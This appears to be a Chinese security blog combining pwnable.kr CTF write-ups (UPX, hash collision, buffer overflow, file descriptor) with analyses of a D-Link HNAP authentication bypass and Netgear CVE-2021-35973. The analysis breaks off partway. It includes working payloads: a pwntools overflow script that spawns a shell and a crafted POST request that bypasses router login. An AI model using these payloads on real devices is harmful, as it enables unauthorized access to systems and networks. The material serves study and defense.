OneShell

I fight for a brighter tomorrow

0%

根据题目描述,猜测程序可能是被压缩了或者加壳了,关键字:packed

1
2
3
4
5
Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

使用checksec查看一下,发现居然可以检测出来是UPX加壳:

1
2
3
4
5
6
7
8
9
$ checksec flag 
[*] '/home/oneshell/PWN/pwnable.kr/flag/flag'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX

使用strings查看一下,可以获取到UPX的版本是3.08,因此下载对应的源码、编译、然后unpack就可以了。

1
2
3
4
5
6
$ strings flag | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
UPX!
UPX!

我在使用Ubuntu22.04编译upx3.08的时候,总会出错,最后直接编译了最新版本,然后解壳:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./build/release/upx -d ../flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX git-57ad6b Markus Oberhumer, Laszlo Molnar & John Reiser Aug 25th 2023

File size Ratio Format Name
-------------------- ------ ----------- -----------
887219 <- 335288 37.79% linux/amd64 flag

Unpacked 1 file.

WARNING: this is an unstable beta version - use for testing only! Really.

此时可以看到flag已经是not stripped了

1
2
$ file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=96ec4cc272aeb383bd9ed26c0d4ac0eb5db41b16, not stripped

然后逆向,交叉引用,就可以看到flag的具体值:

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp+8h] [rbp-8h]

puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}
1
2
3
.rodata:0000000000496628 aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
.rodata:0000000000496628 ; DATA XREF: .data:flag↓o
.rodata:0000000000496652 align 8

flag = UPX...? sounds like a delivery service :)

知识点小结

查看文件的属性,file、checksec等等,这道题目耗费时间的地方就是UPX编译,其实也可以尝试手动拖。之前在做应急响应的时候,遇到一些样本就会采用UPX加壳,主要是为了减少样本的大小。

1
2
3
4
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

登录上之后,查看文件:

1
2
3
4
5
6
7
8
9
10
col@pwnable:~$ ls -al
total 36
drwxr-x--- 5 root col 4096 Oct 23 2016 .
drwxr-xr-x 117 root root 4096 Nov 10 2022 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
dr-xr-xr-x 2 root root 4096 Aug 20 2014 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r-sr-x--- 1 col_pwn col 7341 Jun 11 2014 col
-rw-r--r-- 1 root root 555 Jun 12 2014 col.c
-r--r----- 1 col_pwn col_pwn 52 Jun 11 2014 flag

如下是col.c的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

要求输入长度为20的字符串,然后将20个字符串划分成5组,并将5组子字符串作为整数依次相加,最后的值如果等于0x21DD09EC,则输出flag。

0x21DD09EC = 568134124;568134124 / 5 = 113626824 余 4;那么就相当于:

0x21DD09EC = 0x6C5CEC8 * 5 + 4 = 0x6C5CEC8 * 4 + 0x6C5CEC8 + 4 = 0x6C5CEC8 * 4 + 0x6C5CECC

那么就可以构造出来字符串了,再考虑到大小端:

1
2
python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'"
./col "`python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'"`"
1
2
3
col@pwnable:~$ ./col "`python -c "print '\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06'"`"
daddy! I just managed to create a hash collision :)
col@pwnable:~$

Nana told me that buffer overflow is one of the most common software vulnerability.

Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

终于到了溢出类的题目了,一道很简单的缓冲区溢出,覆盖变量为指定值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

方法1 根据两个变量起始地址差距计算

  1. 定位输入字符串的起始地址为:0xffffd1fc

    1
    2
    3
    4
    5
    6
      0x5655564c <func+32>    mov    dword ptr [esp], eax
    ► 0x5655564f <func+35> call gets <gets>
    arg[0]: 0xffffd1fc ◂— 9 /* '\t' */
    arg[1]: 0x20
    arg[2]: 0x0
    arg[3]: 0xffffd3cc ◂— 0x20 /* ' ' */
  2. 定位key比较时,key所在的地址:0xffffd228 + 8 = 0xffffd230

1
► 0x56555654 <func+40>    cmp    dword ptr [ebp + 8], 0xcafebabe

所以如果想要覆盖到key的话,需要先填充0xffffd230 - 0xffffd1fc = 0x34个字节;

方法2 gdb查看内存布局

调试的时候随便输入一个字符串例如AAAA,然后查看栈内存中AAAA和0xdeadbeef的距离

1
2
3
4
5
6
7
pwndbg> x/50wx $esp
0xffffd1e0: 0xffffd1fc 0x00000020 0x00000000 0xffffd3cc
0xffffd1f0: 0x00000000 0x00000000 0x01000000 0x41414141
0xffffd200: 0xf7fc4500 0x00000000 0xf7c184be 0xf7e2a054
0xffffd210: 0xf7fbe4a0 0xf7fd6f80 0xf7c184be 0xc823bd00
0xffffd220: 0xffffd260 0xf7fbe66c 0xffffd248 0x5655569f
0xffffd230: 0xdeadbeef 0x00000000 0xf7e2a000 0xf7d20ecb

或者使用gdb的find命令,在指定栈内存范围内搜索字符串起始地址和key地址:

1
2
3
4
5
6
pwndbg> find $esp, $esp + 200, "AAAA"
0xffffd1fc
1 pattern found.
pwndbg> find $esp, $esp + 200, 0xdeadbeef
0xffffd230
1 pattern found.

0xffffd230 - 0xffffd1fc = 0x34

方法3 常识

x86情况下,ebp存放上一个栈帧的ebp,ebp + 4是存放的返回地址,ebp + 8是第一个参数的地址、ebp + 12是第二个参数的地址,依次。key是第一个参数。

exp

那么逻辑就比较清晰了

1
python3 -c "import sys; sys.stdout.buffer.write(b'A' * 52 + b'\xbe\xba\xfe\xca')" > ./payload
1
2
3
4
5
from pwn import *
payload = b'A' * 52 + b'\xbe\xba\xfe\xca'
conn = remote('pwnable.kr', 9000)
conn.sendline(payload)
conn.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
$ python3 exp.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
$

知识点小结

  1. gdb搜索内存

使用命令find来搜索内存中特定的值,语法如下:

1
find start_address, end_address, value

如果要搜索整个内存空间,使用0和-1作为起始地址和结束地址。

  1. x86下32为的内存空间布局

1
ssh col@pwnable.kr -p2222 (pw:guest)

使用ssh登录上之后,查看关键文件如下:

1
2
3
4
5
6
7
fd@pwnable:~$ ls -al
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag

fd@pwnable:~$ id
uid=1002(fd) gid=1002(fd) groups=1002(fd)

可以看到我们想要读取的flag所有者是fd_pwn、所属组是root,而我们登录的用户是fd,用户组是fd,没有读取flag的权限。但是程序fd的所有者是fd_pwn,还设置了setuid,这就意味着用户fd运行程序fd时,程序会获得fd_pwn的权限,从而阅读flag内容。

在Linux系统中,当文件的权限被设置成setuid(Set User ID)时,当该程序被执行,程序将获得文件所有者的权限,而不是执行程序的用户的权限。这可能会导致越权漏洞的发生。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

根据程序的逻辑,如果想要运行到cat flag,就需要控制buf,而buf是通过read读取fd文件描述符获取的,因此,只需要使得fd=0,就可以从标准输入中获取内容。fd=0的方式就是使argv[1]=0x1234。

1
2
3
4
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

知识点小结

使用ls -al查看文件的权限:
文件的权限一共由10个字符组成:

  • 第1个字符:文件类型,常见的文件类型有-(普通文件)、d(目录)、s(套接字)、l(链接文件)、c(字符设备)、b(块设备)等等
  • 3个字符:文件所有者权限,rwx,读、写、执行,如果没有相关权限则是-
  • 3个字符:文件所属组权限,同上
  • 3个字符:其他用户权限,同上

例如,-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag,则是说明flag所属者是fd_pwn,拥有读权限;所属用户组是root,拥有读权限;其他用户没有任何权限。

当文件的权限被设置成setuid时,文件权限的x会被替换成大写S或者小写s:

  • 如果文件的所有者具有执行权限,且setuid未设置,则文件执行权限是x
  • 如果文件的所有者具有执行权限,且setuid设置,则文件执行权限是S
  • 如果文件的所有者没有执行权限,且setuid设置,则文件执行权限是s

-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd,这个表示文件所有者是fd_pwn,所有组是fd;此时fd_pwn没有执行权限,但是设置setuid;所有组fd中的账号可以运行该程序,且程序的执行权限是fd_pwn。

漏洞基本信息

该漏洞是发生在LAN口的一个登录认证绕过漏洞,影响设备DIR-867、DIR-878、DIR-882,固件版本1.20B10_BETA。漏洞产生的原因是在处理HNAP请求的过程中,验证用户登录逻辑时处理不当,使用strstr函数来检查无需验证权限的接口,导致可以构造特定URI来绕过身份认证,从而访问敏感接口。

1
This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of D-Link DIR-867, DIR-878, and DIR-882 routers with firmware 1.20B10_BETA. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of HNAP requests. The issue results from incorrect string matching logic when accessing protected pages. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the router. Was ZDI-CAN-10835.

漏洞分析

分析该漏洞使用了设备DIR-878,固件版本1.20B05,固件下载链接:files.dlink.com.au - /products/DIR-878/REV_A/Firmware/

固件获取及解密

该固件是存在加密的,没有办法使用binwalk直接进行解密。一般来说,总是存在最近的一个中间未加密版本固件,随后的一个版本升级才是加密固件,此时可以根据中间版本中的程序获取到固件的加解密逻辑。解密逻辑就是按照时间顺序,下载所有的固件,找到最后一个未加密的固件,并对其进行分析。

根据设备DIR-878的历史固件描述来看,猜测该中间版本是如下的FW104B05 Middleware.bin,实际上也的确如此。
undifined

使用binwalk解压后获取到文件系统,一般可以尝试搜索带有decrypt、encrypt这类的程序,如果找不到再继续全局搜索字符串decrypt、encrypt。这个地方直接全局搜索字符串就定位到了可能的固件解密程序:

1
2
$ grep -r "decrypt" 
Binary file ./bin/imgdecrypt matches

光这样或许还不能确定程序/bin/imgdecrypt是负责固件解密的,进一步继续以该程序名搜索字符串,看哪些其他程序调用了它,以及调用的命令是什么:

1
2
3
4
5
$ grep -r "imgdecrypt"
Binary file ./bin/prog.cgi matches

$ strings ./bin/prog.cgi | grep "imgdecrypt"
/bin/imgdecrypt /tmp/firmware.img

这样基本上就可以确认,这个/bin/imgdecrypt是负责对固件进行解密的了,随后尝试使用qemu运行该程序对固件进行解密

使用qemu-mipsel进行用户级的仿真即可,可以看到usage是直接对固件进行解密。

1
2
$ sudo qemu-mipsel-static -L ./ ./bin/imgdecrypt
./bin/imgdecrypt <sourceFile>

解密前无法使用binwalk查看到固件信息:

1
2
3
4
5
6
7
8
9
$ binwalk -M ~/tmp/DIR_878_FW120B05.bin

Scan Time: 2023-09-12 17:54:02
Target File: /home/oneshell/tmp/DIR_878_FW120B05.bin
MD5 Checksum: 2f8e4eb7a3310da97cf9440caf084cd5
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------

解密后可以使用binwalk查看到固件信息,注意解密后固件的权限是root账号所有,后续的查看、解压固件都需要使用root权限或者先修改固件权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo qemu-mipsel-static -L ./ ./bin/imgdecrypt ~/tmp/DIR_878_FW120B05.bin
key:C05FBF1936C99429CE2A0781F08D6AD8

$ sudo binwalk -M ~/tmp/DIR_878_FW120B05.bin

Scan Time: 2023-09-12 17:58:22
Target File: /home/oneshell/tmp/DIR_878_FW120B05.bin
MD5 Checksum: 07d4fdc93ad1d270c06e1c924ee26b83
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x4934CFEF, created: 2019-05-16 07:14:42, image size: 11181071 bytes, Data Address: 0x81001000, Entry Point: 0x815FF440, data CRC: 0xA1B3FF3A, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
160 0xA0 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 16562624 bytes

如上,固件已经被成功解密了。但是这种解密依赖于后续的加密方式都是相同的,如果在中间版本采用了新的加密方式,那么还需要依次去对中间版本的解密逻辑进行分析。

架构分析

首先是通过分析启动项来确定webserver是什么,以及请求是怎么进行处理的。一般的方式是直接搜索常见的webserver程序名,例如lighttpd、goahead、boa、mini_httpd等等,找到相关的启动脚本或启动程序,然后一步步分析启动逻辑。此处也是这样分析到如下的启动逻辑。

  1. 启动脚本/etc_ro/rcS执行程序init_system

    1
    init_system start
  2. init_system调用lighttpd,在此之前还会启动nvram相关一些进程

    1
    do_system("lighttpd -f /etc_ro/lighttpd/lighttpd.conf -m /etc_ro/lighttpd/lib");
  3. 分析lighttpd配置文件。lighttpd给我的感觉类似于nginx,只负责对相关的流量进行转发,会定义相关的路由以及处理程序。根据配置文件,可以定位到发生在路由/HNAP1/的请求全部是由程序/bin/prog.cgi进行处理的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    fastcgi.server = ( 
    "/HNAP1/" =>
    ((
    "socket" => "/var/prog.fcgi.socket-0",
    "check-local" => "enable",
    "bin-path" => "/bin/prog.cgi",
    "idle-timeout" => 10,
    "min-procs" => 1,
    "max-procs" => 1
    )),
    ......

接下来就是去逆向程序/bin/prog.cgi,在逆向的过程中,发现该程序可能是基于goahead更改的,因为它的一些函数命名、调用方式和goahead源码非常类似,例如在地址00429B64处,就有类似于goahead中如何对请求路径进行处理的回调函数的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int HandlersDefine()
{
......
websSetDefaultDir(v1);
websSetHost(v2);
set_httpd_timeout();
websOpenServer();
trace(0, "websOpenServer \n");
websUrlHandlerDefine("/", 0, 0, websSecurityHandler, 1);
websUrlHandlerDefine("/HNAP1/", 0, 0, websFormHandler, 0);
websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0);
websUrlHandlerDefine(&unk_4B4FFC, 0, 0, websDefaultHandler, 2);
trace(0, "websUrlHandlerDefine cgi-bin\n");
ModuleInitUtils();
ModuleInitMangement();
ModuleInitNetwork();
......
}

按照goahead的特性来看的话,它对于每一个请求都会先调用websSecurityHandler进行鉴权,只有当鉴权通过才会继续进入到随后相应的回调函数中进行处理。因此,对于goahead作为webserver的设备中,寻找认证绕过就要去仔细看websSecurityHandler这个函数。

漏洞触发

这篇文章的目的是进行漏洞分析,而不是漏洞挖掘,因此很多逻辑都是先通过漏洞信息大概推理出调用流程,然后再正向整理出来这个流程。这个地方直接给出结论发生漏洞的地方在地址00423ECC处的函数。
在函数sub_423ECC中,会比较环境变量REQUEST_URI(也就是请求路径)中是否含有字符串列表actions_list中的字符串,然后触发到return 0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall sub_423ECC(_DWORD *a1)
{
......
if ( a1[57] )
{
for ( index = 0; index < 0xB; ++index )
{
snprintf(v3, 1024, "%s%s", "http://purenetworks.com/HNAP1/", &actions_list[32 * index]);
snprintf(soap_action, 1024, "\"%s%s\"", "http://purenetworks.com/HNAP1/", &actions_list[32 * index]);
if ( a1[57] && strstr(a1[57], &actions_list[32 * index]) )// REQUEST_URI
{
if ( strcmp(&actions_list[32 * index], "/HNAP1/") || !a1[50] || strcmp(a1[50], "POST") )
return 0;
}
else if ( a1[53] && (!strcmp(a1[53], v3) || !strcmp(a1[53], soap_action)) )// HTTP_SOAPACTION
{
return 0;
}
}
}
......

字符串列表的值如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.data:004D01A0 actions_list:   .ascii "GetCAPTCHAsetting"<0>
.data:004D01A0 # DATA XREF: sub_423ECC+D8↑o
.data:004D01A0 # sub_423ECC+12C↑o ...
.data:004D01B2 .align 4
.data:004D01C0 aGetdevicesetti_3:.ascii "GetDeviceSettings"<0>
.data:004D01D2 .align 4
.data:004D01E0 aBlockedpageHtm:.ascii "blockedPage.html"<0>
.data:004D01F1 .align 4
.data:004D0200 aMobileloginHtm:.ascii "MobileLogin.html"<0>
.data:004D0211 .align 4
.data:004D0220 aLoginHtml: .ascii "Login.html"<0>
.data:004D022B .align 5
.data:004D0240 aEulaHtml: .ascii "EULA.html"<0>
.data:004D024A .align 5
.data:004D0260 aIndexHtml_2: .ascii "Index.html"<0>
.data:004D026B .align 5
.data:004D0280 aWizardHtml: .ascii "Wizard.html"<0>
.data:004D028C .align 5
.data:004D02A0 aHnap1_5: .ascii "/HNAP1/"<0>
.data:004D02A8 .align 5
.data:004D02C0 aEulaTermHtml: .ascii "EULA_Term.html"<0>
.data:004D02CF .align 5
.data:004D02E0 aEulaPrivacyHtm:.ascii "EULA_Privacy.html"<0>
.data:004D02F2 .align 4

然后返回到函数sub_4249EC,触发该函数继续返回0;再返回到函数websSecurityHandler中,使得该认证函数返回0。认证过程的调用链整理出来如下:

1
2
3
sub_423ECC -> 0
sub_4249EC -> 0
websSecurityHandler -> 0

在goahead源码中,函数webSecurityHandler设置返回值为1时,都是和错误代码紧密相连的,如下是两个代码片段。变量nRet会在函数初始化时设置为0,当出现错误的时候,设置为1。因此,可以确定当函数webSecurityHandler函数返回0时,是代表认证通过。

1
2
3
4
5
6
7
websStats.access++;
websError(wp, 404, T("Page Not Found"));
nRet = 1;

websError(wp, 401, T("Access Denied\nUnknown User"));
trace(3, T("SEC: Unknown user <%s> attempted to access <%s>\n"), userid, path);
nRet = 1;

综上所述,对于路由/HNAP1/,只需要在uri后添加?GetCAPTCHAsetting或者任意其他字符串列表的中字符串,就可以达到认证绕过访问该接口的目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /HNAP1/?Login.html HTTP/1.1
Host: 192.168.0.1
Content-Length: 302
Accept: */*
X-Requested-With: XMLHttpRequest
HNAP_AUTH: 00DAB25BFD3EBF8FAD03E60E5616BF44 1598580346156
SOAPAction: "http://purenetworks.com/HNAP1/GetIPv6Status"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/Home.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=uFXfaJBA
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetIPv6Status xmlns="http://purenetworks.com/HNAP1/" /></soap:Body></soap:Envelope>

小结

在分析该漏洞的过程中,先通过寻找中间未加密固件的方式,对存在漏洞的加密固件进行了解密;然后通过启动项分析定位webserver,分析配置文件梳理路由请求逻辑得到处理程序prog.cgi;最后发现prog.cgi类似goahead,根据之前对goahead认证处理的了解定位到认证逻辑,并分析漏洞的认证绕过流程。

参考链接

漏洞描述

CVE-2021-35973是发生在netgear wac104设备、固件版本1.0.4.15之前的身份认证绕过漏洞,漏洞产生的原因是在鉴权过程中,使用了strstr来判断:如果请求uri中包含currentsetting.htm,设置无需认证标志。因此攻击者可以在需要鉴权的uri中包含currentsetting.htm标志,从而达到认证绕过的目的。

漏洞描述:CVE - CVE-2021-35973

漏洞分析

netgear系列的固件可以直接从官网下载,而且可以直接使用binwalk解压,固件下载链接如下:
WAC104 | Access Point | NETGEAR Support

webserver架构分析

在文件系统中直接搜索字符串httpd可以定位到启动脚本,因此猜测httpd是通过程序/usr/sbin/rc启动的,而且一个是开放在WAN口,一个是开放在LAN口。

1
2
/usr/sbin/rc httpd start
/usr/sbin/rc remote_httpd start

对程序/usr/sbin/rc进行逆向,搜索字符串httpd,寻找相关字符串的交叉引用,可以看到应该是采用了mini_httpd作为webserver。

1
2
3
4
5
6
7
.data:00464610                 .word aUsrBinKillallR_0+0x18  # "httpd"
.data:00464614 .word mini_httpd_start
.data:00464618 .word mini_httpd_stop
.data:0046461C .word httpd_init
.data:00464620 .word aRemoteHttpd # "remote_httpd"
.data:00464624 .word mini_httpd_remote_start
.data:00464628 .word mini_httpd_remote_stop

该漏洞是WAN口、LAN口都存在,因此针对影响较大的WAN口的remote_httpd进行分析。根据如下的逆向逻辑,remote_httpd是链接到程序/sbin/mini_httpd,启动参数也很清晰,下一步对/sbin/mini_httpd进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( access("/var/remote_httpd", 0) < 0 )
system("/bin/ln -sf /sbin/mini_httpd /var/remote_httpd");
nv_set_int("http", "remotemg_port", 0, v3);
v4 = (char *)nvram_get("product_name");
if ( !v4 )
v4 = "";
v7 = v4;
v5 = atoi(v1);
SYSTEM(
"/var/remote_httpd -p %d -P %d -d /www -S -E /etc/mini_httpd.pem -r \"NETGEAR %s\" -c '**.cgi' -t %d&",
v3,
v3,
v7,
60 * v5);

mini_httpd请求包处理逻辑

根据以往对mini_httpd代码的了解,其处理请求包的逻辑主要是由handler_request函数负责,可以通过搜索index页面字符串定位到该函数。如下是mini_httpd源码中的handle_request函数和其中设置的index页面字符串列表。

定位到handle_request函数:搜索如下列表中的字符串

1
2
3
   const char* index_names[] = {
"index.html", "index.htm", "index.xhtml", "index.xht", "Default.htm",
"index.cgi" };

mini_httpd收到一个数据请求包后会fork创建一个子进程来进行处理,这种方式如果在高并发场景会在进程创建、销毁过程中消耗大量的资源,但是在并发量低的嵌入式设备已经够用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Fork a sub-process to handle the connection. */
r = fork();
if ( r < 0 )
{
syslog( LOG_CRIT, "fork - %m" );
perror( "fork" );
exit( 1 );
}
if ( r == 0 )
{
/* Child process. */
client_addr = usa;
if ( listen4_fd != -1 )
(void) close( listen4_fd );
if ( listen6_fd != -1 )
(void) close( listen6_fd );
handle_request(); // 数据包处理逻辑
}
(void) close( conn_fd );
}

子进程中主要是通过handle_request函数来对数据进行处理的,主要是先解析请求行、再解析请求头。

  • 读取请求的第一行,获取到请求行,然后从行中解析到请求方法protocol、请求路径path和查询参数query
  • 随后解析header,主要实现是通过while循环继续逐行解析header中的字段,包括Authorization、Content-Length、Content-Type、Cookie、User-Agent等等常见的字段

如下是handle_request函数中读取请求行,获取到请求method_str、path、query、protocol。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   /* Parse the first line of the request. */
method_str = get_request_line();
if ( method_str == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
path = strpbrk( method_str, " \t\012\015" );
if ( path == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
*path++ = '\0';
path += strspn( path, " \t\012\015" );
protocol = strpbrk( path, " \t\012\015" );
if ( protocol == (char*) 0 )
send_error( 400, "Bad Request", "", "Can't parse request." );
*protocol++ = '\0';
protocol += strspn( protocol, " \t\012\015" );
query = strchr( path, '?' );
if ( query == (char*) 0 )
query = "";
else
*query++ = '\0';

然后是while循环处理header,获取字段。在源码中包括:Authorization、Content-Length、Content-Type、Cookie、Host、If-Modified-Since、Referer、Referrer、User-Agent这些字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   /* Parse the rest of the request headers. */
while ( ( line = get_request_line() ) != (char*) 0 )
{
if ( line[0] == '\0' )
break;
else if ( strncasecmp( line, "Authorization:", 14 ) == 0 )
{
cp = &line[14];
cp += strspn( cp, " \t" );
authorization = cp;
}
else if ( strncasecmp( line, "Content-Length:", 15 ) == 0 )
{
cp = &line[15];
cp += strspn( cp, " \t" );
content_length = atol( cp );
}

获取到了如上的重要字段后,就开始对数据包的合法性进行判断,例如:

  • 请求方法method是否合理:GET、HEAD、POST、PUT、DELETE、TRACE
  • 请求路径path必须以反斜杠/开头、对path进行目录穿越相关字符进行处理、检查文件是否存在
  • 然后根据path是文件夹或文件,分别调用do_dir和do_file进行处理,二者最终都会进行权限检查函数auth_check

在权限检查函数auth_check中,输入为请求的path转换的实际路径file所在的文件夹dirname,如果权限检查通过,则继续直接随后的数据包处理流程;如果权限检查是否,则通过send_authenticate函数返回401,然后结束当前连接的生命周期。

权限检查的流程则是:

  1. 如果dirname中没有.htpasswd文件,那么直接认证通过。就相当于是在需要授权访问的文件夹中添加该文件,不需要授权访问的文件夹中没有该文件
  2. 源码中采用的校验方式是BASIC认证,请求包中带上username和base64编码的password,然后和.htpasswd文件中保存的账号信息进行对比,如果比较通过则直接返回。

因此,平常漏洞挖掘中比较关心的登录认证流程就非常清晰:main -> handle_request -> do_file/do_dir -> auth_check。一般情况下,厂商会根据自己的业务逻辑修改相关的函数,但是根据源码我们还是能通过一些字符串特征来定位到关键函数,例如:

  • 通过搜索index相关的页面字符串,可以定位到handle_request
    1
    2
    3
    4
    5
    6
    7
    .data:0041E030 index_names:    .word aSetupCgi          # DATA XREF: handle_request+38↑o
    .data:0041E030 # "setup.cgi"
    .data:0041E034 .word aIndexHtml # "index.html"
    .data:0041E038 .word aIndexHtm # "index.htm"
    .data:0041E03C .word aIndexXhtml # "index.xhtml"
    .data:0041E040 .word aIndexXht # "index.xht"
    .data:0041E044 .word aDefaultHtm # "Default.htm"
  • 通过搜索字符串.htpasswd可以直接定位到do_file、auth_check函数。do_file函数中会检查请求文件是否为.htpasswd,auth_check函数则是需要读取账号信息、调用字符串比较函数等

可以看出,mini_httpd的登录认证处理流程还是比较简单的。

漏洞触发

通过之前的源代码梳理,也明白了mini_httpd的登录认证流程,那么可以通过搜索字符串的技巧直接定位到auth_check函数。auth_check函数开头有一段导致后续认证绕过的逻辑,其中有一个g_bypass_flag=1时可以直接通过认证。

1
2
3
4
5
6
7
8
9
10
11
12
if ( g_bypass_flag == 1 )
{
if ( !sub_4062C0() )
{
system("/bin/echo genie from wan, drop request > /dev/console");
exit(0);
}
result = system("/bin/echo genie from lan, ok > /dev/console");
}
else {
......
}

查看变量g_bypass_flag的交叉引用,赋值的地方一共包含如下的三处:

  1. 当请求path中包含currentsetting.htm的时候
    1
    2
    if ( strstr(v86, "currentsetting.htm") )
    g_bypass_flag = 1;
  2. SOAPAction相关,设计的初衷应该是可以访问任意SOAP的xml。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    else
    {
    v26 = strncasecmp(v34, "Accept-Language:", 16);
    v27 = v34;
    if ( v26 )
    {
    v30 = v34 + 11;
    if ( !strncasecmp(v27, "SOAPAction:", 11) )
    {
    v31 = strspn(v30, " \t");
    v32 = strcasestr(&v30[v31], "urn:NETGEAR-ROUTER:service:");
    v33 = 0;
    if ( v32 )
    {
    while ( 1 )
    {
    v11 = *(char *)(v32 + v33 + 27);
    if ( v11 == ':' )
    break;
    byte_420224[v33++] = v11;
    }
    byte_420224[v33] = 0;
    g_bypass_flag = 1;
    }
    }
    }
  3. 请求path中包含setupwizard.cgi,但是随后的处理逻辑会调用exit退出,因此无法利用。这个可能是当设备首次启动、开始安装向导触发的。
    1
    2
    if ( strstr((const char *)g_path, "setupwizard.cgi") )
    g_bypass_flag = 1;

再次返回到mini_httpd的源代码中,结合固件中的反汇编

  • 首先通过查找method后的第一个空格、换行、制表符的方式,获取到path。但是随后没有对path中是否包含%00进行判断。
    1
    2
    v10 = strpbrk(v8, " \t\n\r");
    g_path = v10;
  • 获取到的path在内存中大概是:uri\0currentsetting.htm,这导致,strstr函数返回一个非空值,就设置了g_bypass_flag,从而通过了auth_check
    1
    2
    3
    4
    5
    6
    ......
    v86 = (const char *)g_path;
    ......
